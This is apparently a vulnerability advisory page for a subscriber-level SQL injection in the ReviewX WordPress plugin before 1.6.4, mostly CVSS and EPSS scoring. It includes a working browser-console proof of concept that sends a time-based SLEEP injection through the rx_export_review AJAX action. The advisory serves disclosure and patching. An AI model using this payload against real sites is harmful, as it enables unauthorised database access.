Lucene search

K
wpvulndbWpvulndbWPVDB-ID:BB5CC190-6291-4AF3-978B-0ADE2EA68D77
HistoryFeb 23, 2023 - 12:00 a.m.

ReviewX < 1.6.4 - Subscriber+ SQLi

2023-02-2300:00:00
wpscan.com
7

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

16.8%

The plugin does not properly sanitise and escape the filterValue and selectedColumns parameters before using them in SQL statements via the rx_export_review AJAX action available to any authenticated users, leading to a SQL injection exploitable by users with a role as low as subscriber

PoC

Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=rx_export_review&filterValue;[6]=&filterValue;[7]=id&selectedColumns;[]=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

CPENameOperatorVersion
reviewxlt1.6.4

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

16.8%

Related for WPVDB-ID:BB5CC190-6291-4AF3-978B-0ADE2EA68D77